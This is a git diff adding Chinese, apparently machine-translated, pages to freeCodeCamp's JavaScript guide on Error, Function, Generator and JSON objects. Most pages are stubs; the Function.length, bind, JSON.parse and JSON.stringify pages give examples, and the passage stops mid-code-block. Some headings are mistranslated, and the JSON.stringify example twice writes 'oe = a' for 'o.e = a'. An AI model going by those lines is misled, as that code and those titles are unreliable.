diff --git a/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-columnnumber/index.md b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-columnnumber/index.md
new file mode 100644
index 0000000000..670ab72d7e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-columnnumber/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.columnNumber
+localeTitle: Error.prototype.columnNumber
+---
+## Error.prototype.columnNumber
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-columnnumber/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-filename/index.md b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-filename/index.md
new file mode 100644
index 0000000000..f85bd2c30a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-filename/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.fileName
+localeTitle: Error.prototype.fileName
+---
+## Error.prototype.fileName
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-filename/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-linenumber/index.md b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-linenumber/index.md
new file mode 100644
index 0000000000..1f40cccd79
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-linenumber/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.lineNumber
+localeTitle: Error.prototype.lineNumber
+---
+## Error.prototype.lineNumber
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-linenumber/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-message/index.md b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-message/index.md
new file mode 100644
index 0000000000..2ab221a08e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-message/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.message
+localeTitle: Error.prototype.message
+---
+## Error.prototype.message
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-message/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-name/index.md b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-name/index.md
new file mode 100644
index 0000000000..6cfcd55b37
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-name/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.name
+localeTitle: Error.prototype.name
+---
+## Error.prototype.name
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-name/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-stack/index.md b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-stack/index.md
new file mode 100644
index 0000000000..abcdd11b89
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-stack/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.stack
+localeTitle: Error.prototype.stack
+---
+## Error.prototype.stack
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-stack/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-tosource/index.md b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-tosource/index.md
new file mode 100644
index 0000000000..a06ef5eeec
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.toSource
+localeTitle: Error.prototype.toSource
+---
+## Error.prototype.toSource
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-tosource/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-tostring/index.md b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-tostring/index.md
new file mode 100644
index 0000000000..cebd39fd52
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/error/error-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.toString
+localeTitle: Error.prototype.toString
+---
+## Error.prototype.toString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-tostring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/error/index.md b/client/src/guide/chinese/javascript/standard-objects/error/index.md
new file mode 100644
index 0000000000..b588fa8463
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/error/index.md
@@ -0,0 +1,11 @@
+---
+title: Error
+localeTitle: 错误
+---
+## 错误
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/function/function-caller/index.md b/client/src/guide/chinese/javascript/standard-objects/function/function-caller/index.md
new file mode 100644
index 0000000000..81f91f5907
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/function/function-caller/index.md
@@ -0,0 +1,11 @@
+---
+title: Function Caller
+localeTitle: 功能来电
+---
+## 功能来电
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-caller/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/function/function-displayname/index.md b/client/src/guide/chinese/javascript/standard-objects/function/function-displayname/index.md
new file mode 100644
index 0000000000..49fca73a24
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/function/function-displayname/index.md
@@ -0,0 +1,11 @@
+---
+title: Function displayName
+localeTitle: 功能displayName
+---
+## 功能displayName
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-displayname/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/function/function-length/index.md b/client/src/guide/chinese/javascript/standard-objects/function/function-length/index.md
new file mode 100644
index 0000000000..9c31667d20
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/function/function-length/index.md
@@ -0,0 +1,39 @@
+---
+title: Function Length
+localeTitle: 功能长度
+---
+## 功能长度
+
+函数对象的`length`属性保存调用时函数所期望的参数数。
+
+```javascript
+function noArgs() { } 
+ 
+ function oneArg(a) { } 
+ 
+ console.log(noArgs.length); // 0 
+ 
+ console.log(oneArg.length); // 1 
+```
+
+### ES2015语法
+
+ES2015，或通常称为ES6，引入了rest操作符和默认函数参数。这两个添加都改变了`length`属性的工作方式。
+
+如果在函数声明中使用了rest运算符或默认参数，则`length`属性将仅包含rest运算符或默认参数之前的参数数。
+
+```javascript
+function withRest(...args) { } 
+ 
+ function withArgsAndRest(a, b, ...args) { } 
+ 
+ function withDefaults(a, b = 'I am the default') { } 
+ 
+ console.log(withRest.length); // 0 
+ 
+ console.log(withArgsAndRest.length); // 2 
+ 
+ console.log(withDefaults.length); // 1 
+```
+
+有关`Function.length`更多信息可以在[Mozilla的MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/length)上找到。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/function/function-name/index.md b/client/src/guide/chinese/javascript/standard-objects/function/function-name/index.md
new file mode 100644
index 0000000000..5dc8d65178
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/function/function-name/index.md
@@ -0,0 +1,11 @@
+---
+title: Function Name
+localeTitle: 功能名称
+---
+## 功能名称
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-name/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-apply/index.md b/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-apply/index.md
new file mode 100644
index 0000000000..239e3d98fc
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-apply/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.apply
+localeTitle: Function.prototype.apply的
+---
+## Function.prototype.apply的
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-apply/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-bind/index.md b/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-bind/index.md
new file mode 100644
index 0000000000..39c6abec5e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-bind/index.md
@@ -0,0 +1,59 @@
+---
+title: Function.prototype.bind
+localeTitle: Function.prototype.bind
+---
+## Function.prototype.bind
+
+`bind`是JavaScript中所有函数原型的一种方法。 它允许您从现有函数创建新函数，更改新函数的`this`上下文，并提供您希望调用新函数的任何参数。 提供给`bind`的参数将在调用它之前传递给新函数的任何参数之前。
+
+### 使用`bind`在函数中更改`this`
+
+提供给`bind`的第一个参数是函数将`bind`的`this`上下文。 如果您不想`this`传递`null`的值更改为第一个参数。
+
+您的任务是编写代码以更新与会者到达会议时的数量。 您创建一个简单的网页，其中包含一个按钮，单击该按钮`numOfAttendees` 关于confrence对象的属性。您使用jQuery向按钮添加单击处理程序，但单击按钮后，confrence对象未更改。您的代码可能看起来像这样。
+
+```javascript
+var nodevember = { 
+  numOfAttendees: 0, 
+  incrementNumOfAttendees: function() { 
+    this.numOfAttendees++; 
+  } 
+  // other properties 
+ }; 
+ 
+ $('.add-attendee-btn').on('click', nodevember.incrementNumOfAttendees); 
+```
+
+使用jQuery和JavaScript时，这是一个常见问题。当您单击按钮时，传递给jQuery的`on`方法的方法中的`this`关键字引用按钮而不是会议对象。您可以绑定方法的`this`上下文来解决问题。
+
+```javascript
+var nodevember = { 
+  numOfAttendees: 0, 
+  incrementNumOfAttendees: function() { 
+    this.numOfAttendees++; 
+  } 
+  // other properties 
+ }; 
+ 
+ $('.add-attendee-btn').on('click', nodevember.incrementNumOfAttendees.bind(nodevember)); 
+```
+
+现在，当单击`this`按钮时， `nodevember`引用`nodevember`对象。
+
+### 使用`bind`为函数提供参数
+
+在第一个之后传递给`bind`每个参数都将在调用函数时传递的任何参数之前。 这允许您将参数预先应用于函数。在下面的示例中， `combineStrings`采用两个字符串并将它们连接在一起。然后使用`bind`创建一个始终提供“Cool”作为第一个字符串的函数。
+
+```javascript
+function combineStrings(str1, str2) { 
+  return str1 + " " + str2 
+ } 
+ 
+ var makeCool = combineStrings.bind(null, "Cool"); 
+ 
+ makeCool("trick"); // "Cool trick" 
+```
+
+[此参考](https://guide.freecodecamp.org/javascript/this-reference)的指南提供了有关`this`关键字引用的更改方式的更多信息。
+
+关于`bind`方法的更多细节可以在Mozilla的[MDN文档中找到](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-call/index.md b/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-call/index.md
new file mode 100644
index 0000000000..06b5b87c64
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-call/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.call
+localeTitle: Function.prototype.call
+---
+## Function.prototype.call
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-call/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-isgenerator/index.md b/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-isgenerator/index.md
new file mode 100644
index 0000000000..a6fe2d152f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-isgenerator/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.isGenerator
+localeTitle: Function.prototype.isGenerator
+---
+## Function.prototype.isGenerator
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-isgenerator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-tosource/index.md b/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-tosource/index.md
new file mode 100644
index 0000000000..e284ec5633
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.toSource
+localeTitle: Function.prototype.toSource
+---
+## Function.prototype.toSource
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-tosource/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-tostring/index.md b/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-tostring/index.md
new file mode 100644
index 0000000000..e8ff362561
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/function/function-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Function.prototype.toString
+localeTitle: Function.prototype.toString
+---
+## Function.prototype.toString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/function-prototype-tostring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/function/index.md b/client/src/guide/chinese/javascript/standard-objects/function/index.md
new file mode 100644
index 0000000000..875ea90f42
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/function/index.md
@@ -0,0 +1,11 @@
+---
+title: Function
+localeTitle: 功能
+---
+## 功能
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/function/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/generator/generator-prototype-next/index.md b/client/src/guide/chinese/javascript/standard-objects/generator/generator-prototype-next/index.md
new file mode 100644
index 0000000000..68c1d14dfe
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/generator/generator-prototype-next/index.md
@@ -0,0 +1,11 @@
+---
+title: Generator.prototype.next
+localeTitle: Generator.prototype.next
+---
+## Generator.prototype.next
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/generator/generator-prototype-next/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/generator/generator-prototype-return/index.md b/client/src/guide/chinese/javascript/standard-objects/generator/generator-prototype-return/index.md
new file mode 100644
index 0000000000..4ea242b2fa
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/generator/generator-prototype-return/index.md
@@ -0,0 +1,11 @@
+---
+title: Generator.prototype.return
+localeTitle: Generator.prototype.return
+---
+## Generator.prototype.return
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/generator/generator-prototype-return/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/generator/generator-prototype-throw/index.md b/client/src/guide/chinese/javascript/standard-objects/generator/generator-prototype-throw/index.md
new file mode 100644
index 0000000000..33e633e9ac
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/generator/generator-prototype-throw/index.md
@@ -0,0 +1,11 @@
+---
+title: Generator.prototype.throw
+localeTitle: Generator.prototype.throw
+---
+## Generator.prototype.throw
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/generator/generator-prototype-throw/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/generator/index.md b/client/src/guide/chinese/javascript/standard-objects/generator/index.md
new file mode 100644
index 0000000000..8272121d56
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/generator/index.md
@@ -0,0 +1,11 @@
+---
+title: Generator
+localeTitle: 发电机
+---
+## 发电机
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/generator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/index.md b/client/src/guide/chinese/javascript/standard-objects/index.md
new file mode 100644
index 0000000000..59b59fbf45
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Objects
+localeTitle: 标准对象
+---
+## 标准对象
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/json/index.md b/client/src/guide/chinese/javascript/standard-objects/json/index.md
new file mode 100644
index 0000000000..42e70aedb2
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/json/index.md
@@ -0,0 +1,23 @@
+---
+title: JSON
+localeTitle: JSON
+---
+JavaScript Object Notation或`JSON`使用JavaScript对象的格式来存储数据。 JSON非常灵活，因为它允许`Data Structures`具有`strings` ， `numbers` ， `booleans` ， `arrays`和`objects`任意组合。
+
+以下是JSON对象的示例：
+```
+var ourMusic = [ 
+  { 
+    "artist": "Daft Punk", 
+    "title": "Homework", 
+    "release_year": 1997, 
+    "formats": [ 
+      "CD", 
+      "Cassette", 
+      "LP" ], 
+    "gold": true 
+  } 
+ ]; 
+```
+
+这是一个对象数组，该对象包含有关相册的各种`metadata` 。它还有一个嵌套`formats`数组。其他专辑记录可以添加到顶级数组。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/json/json-arrays/index.md b/client/src/guide/chinese/javascript/standard-objects/json/json-arrays/index.md
new file mode 100644
index 0000000000..07982e26a4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/json/json-arrays/index.md
@@ -0,0 +1,30 @@
+---
+title: JSON Arrays
+localeTitle: JSON数组
+---
+## JSON数组
+
+JSON数组与您在Javascript中使用的普通数组对象没有什么不同。它是一个包含多个`JSON Objects`的数组`JSON Objects` 。
+
+以下是JSON数组的示例：
+
+```Javascript
+    var aMyPlaylist = [{ 
+        artist: "Ed Sheeran", 
+        track: "Supermarket flowers", 
+        myRating: 10 
+    }, { 
+        artist: "Tracy Chapman", 
+        track: "Fastcar", 
+        myRating: 9 
+    }]; 
+```
+
+这是一个名为`aMyPlaylist`的JSON数组。所有数组方法（如`map` ， `filter` ， `sort`等）也可以应用于任何JSON数组
+
+#### 更多信息：
+
+可以在以下链接中找到更多数组方法
+
+*   [数组 - Freecodecamp](https://guide.freecodecamp.org/javascript/standard-objects/array)
+*   [阵列 - Mozilla开发者网络](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/json/json-parse/index.md b/client/src/guide/chinese/javascript/standard-objects/json/json-parse/index.md
new file mode 100644
index 0000000000..890cf6eea6
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/json/json-parse/index.md
@@ -0,0 +1,58 @@
+---
+title: JSON Parse
+localeTitle: JSON Parse
+---
+## JSON Parse
+
+`JSON.parse()`方法解析字符串并构造由字符串描述的新对象。
+
+#### 句法：
+
+```javascript
+    JSON.parse(text [, reviver]) 
+```
+
+##### 参数：
+
+`text` 要解析为JSON的字符串
+
+`reviver` （可选） 该函数将接收`key`和`value`作为参数。此函数可用于转换结果值。
+
+以下是如何使用`JSON.parse()`的示例：
+
+```javascript
+var data = '{"foo": "bar"}'; 
+ 
+ console.log(data.foo); // This will print `undefined` since `data` is of type string and has no property named as `foo` 
+ 
+ // You can use JSON.parse to create a new JSON object from the given string 
+ var convertedData = JSON.parse(data); 
+ 
+ console.log(convertedData.foo); // This will print `bar 
+```
+
+[Repl.it演示](https://repl.it/MwgK/0)
+
+这是`reviver`一个例子：
+
+```javascript
+var data = '{"value": 5}'; 
+ 
+ var result = JSON.parse(data, function(key, value) { 
+    if (typeof value === 'number') { 
+        return value * 10; 
+    } 
+    return value; 
+ }); 
+ 
+ // Original Data 
+ console.log("Original Data:", data); // This will print Original Data: {"value": 5} 
+ // Result after parsing 
+ console.log("Parsed Result: ", result); // This will print Parsed Result:  { value: 50 } 
+```
+
+在上面的示例中，所有数字值都乘以`10` - [Repl.it Demo](https://repl.it/Mwfp/0)
+
+#### 更多信息：
+
+[JSON.parse - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/json/json-stringify/index.md b/client/src/guide/chinese/javascript/standard-objects/json/json-stringify/index.md
new file mode 100644
index 0000000000..c6c8ff1bbf
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/json/json-stringify/index.md
@@ -0,0 +1,201 @@
+---
+title: JSON Stringify
+localeTitle: JSON Stringify
+---
+## JSON Stringify
+
+`JSON.stringify()`方法将_JSON安全的_ JavaScript值转换为符合JSON的字符串。
+
+有人可能会问JSON安全值是什么！让我们列出所有JSON不安全的值，列表中没有的任何内容都可以被认为是JSON安全的。
+
+#### JSON不安全的值：
+
+*   `undefined`
+*   `function(){}`
+*   （ES6 +） `Symbol`
+*   带有圆形参考的对象
+
+#### 句法
+
+```javascript
+  JSON.stringify( value [, replacer [, space]]) 
+```
+
+以其最简单和最常用的形式：
+
+```javascript
+  JSON.stringify( value ) 
+```
+
+#### 参数
+
+`value` ：要进行“字符串化”的JavaScript值。
+
+`replacer` :(可选）一个函数或数组，用作要包含在JSON字符串中的值对象的属性的过滤器。
+
+`space` :(可选）用于为JSON字符串提供缩进的数字或字符串值。如果提供了一个数值，那么许多空格（最多10个）在每个级别都充当了数字。如果提供了字符串值，则该字符串（最多10个字符）在每个级别充当缩进。
+
+#### 返回类型
+
+该方法的返回类型是： `string` 。
+
+## 描述
+
+JSON安全值将转换为其对应的JSON字符串形式。另一方面，JSON不安全值返回：
+
+*   如果它们作为值传递给方法，则为`undefined`
+*   如果它们作为数组元素传递，则返回`null`
+*   如果作为对象的属性传递则没有
+*   如果它的对象上有一个循环引用，则抛出一个错误。
+
+```javascript
+  //JSON-safe values 
+  JSON.stringify({});                  // '{}' 
+  JSON.stringify(true);                // 'true' 
+  JSON.stringify('foo');               // '"foo"' 
+  JSON.stringify([1, 'false', false]); // '[1,"false",false]' 
+  JSON.stringify({ x: 5 });            // '{"x":5}' 
+  JSON.stringify(new Date(2006, 0, 2, 15, 4, 5))  // '"2006-01-02T15:04:05.000Z"' 
+ 
+  //JSON-unsafe values passed as values to the method 
+  JSON.stringify( undefined );                    // undefined 
+  JSON.stringify( function(){} );                    // undefined 
+ 
+  //JSON-unsafe values passed as array elements 
+  JSON.stringify({ x: [10, undefined, function(){}, Symbol('')] });  // '{"x":[10,null,null,null]}' 
+ 
+ //JSON-unsafe values passed as properties on a object 
+  JSON.stringify({ x: undefined, y: Object, z: Symbol('') });  // '{}' 
+ 
+  //JSON-unsafe object with circular reference on it 
+  var o = { }, 
+    a = { 
+      b: 42, 
+      c: o, 
+      d: function(){} 
+    }; 
+ 
+  // create a circular reference inside `a` 
+  oe = a; 
+ 
+  // would throw an error on the circular reference 
+  // JSON.stringify( a ); 
+```
+
+如果传递给它的对象在其上定义了`toJSON()`方法，则`JSON.stringify(...)`行为会有所不同。 `toJSON()`方法的返回值将被序列化而不是对象本身。
+
+当对象包含任何非法JSON值时，这非常方便。
+
+```javascript
+   //JSON-unsafe values passed as properties on a object 
+   var obj = { x: undefined, y: Object, z: Symbol('') }; 
+ 
+   //JSON.stringify(obj);  logs '{}' 
+   obj.toJSON = function(){ 
+    return { 
+      x:"undefined", 
+      y: "Function", 
+      z:"Symbol" 
+    } 
+   } 
+   JSON.stringify(obj);  //"{"x":"undefined","y":"Function","z":"Symbol"}" 
+ 
+  //JSON-unsafe object with circular reference on it 
+  var o = { }, 
+    a = { 
+      b: 42, 
+      c: o, 
+      d: function(){} 
+    }; 
+ 
+  // create a circular reference inside `a` 
+  oe = a; 
+ 
+  // would throw an error on the circular reference 
+  // JSON.stringify( a ); 
+ 
+  // define a custom JSON value serialization 
+  a.toJSON = function() { 
+    // only include the `b` property for serialization 
+    return { b: this.b }; 
+  }; 
+ 
+  JSON.stringify( a ); // "{"b":42}" 
+```
+
+#### `replacer`
+
+如前所述， `replacer`是一个过滤器，它指示哪些属性将包含在JSON字符串中。它可以是数组或函数。 在数组中，replacer包含仅包含在JSON字符串中的那些属性的字符串表示。
+
+```javascript
+  var foo = {foundation: 'Mozilla', model: 'box', week: 45, transport: 'car', month: 7}; 
+  JSON.stringify(foo, ['week', 'month']);    // '{"week":45,"month":7}', only keep "week" and "month" properties 
+```
+
+如果`replacer`是一个函数，它将为对象本身调用一次，然后为对象中的每个属性调用一次，并且每次传递两个参数， _key_和_value_ 。要跳过序列化中的_键_ ，应返回`undefined` 。否则，应返回提供的_值_ 。如果这些_值_中的任何一个本身是对象，则`replacer`函数也会递归地序列化它们。
+
+```javascript
+  function replacer(key, value) { 
+    // Filtering out properties 
+    if (typeof value === 'string') { 
+      return undefined; 
+    } 
+    return value; 
+  } 
+ 
+  var foo = {foundation: 'Mozilla', model: 'box', week: 45, transport: 'car', month: 7}; 
+  JSON.stringify(foo, replacer);  // '{"week":45,"month":7}' 
+```
+
+如果将数组传递给`JSON.stringify()`并且`replacer`为其任何元素返回`undefined` ，则该元素的值将替换为`null` 。 `replacer`函数无法从数组中删除值。
+
+```javascript
+  function replacer(key, value) { 
+    // Filtering out properties 
+    if (typeof value === 'string') { 
+      return undefined; 
+    } 
+    return value; 
+  } 
+ 
+  var foo = ['Mozilla', 'box', 45, 'car', 7]; 
+  JSON.stringify(foo, replacer);  // "[null,null,45,null,7]" 
+```
+
+#### `space`
+
+用于缩进的`space`参数使得`JSON.stringify()`的结果更漂亮。
+
+```javascript
